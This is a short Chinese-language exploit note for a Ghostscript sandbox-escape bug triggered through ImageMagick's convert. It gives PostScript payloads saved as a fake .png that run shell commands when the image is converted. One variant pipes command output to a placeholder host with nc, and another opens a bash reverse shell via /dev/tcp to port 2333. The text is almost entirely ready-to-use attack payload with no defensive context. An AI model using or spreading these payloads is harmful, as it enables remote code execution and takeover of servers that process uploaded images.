1.下列内容保存为png，即可（touch 1.png &&vi 1.png）
之后执行convert 1.png 1.gif
之后你就会看到，执行了 >$ id
(如果ubuntu测试的时候没有，可以手动安装imagemagic —-> apt install imagemagick
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
如果需要nc反弹可以输入如下：
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%echo `id` | nc xxx.xxx.xxx.xxx 2333) currentdevice putdeviceprops
bash反弹输入如下：
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash –i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1) currentdevice putdeviceprops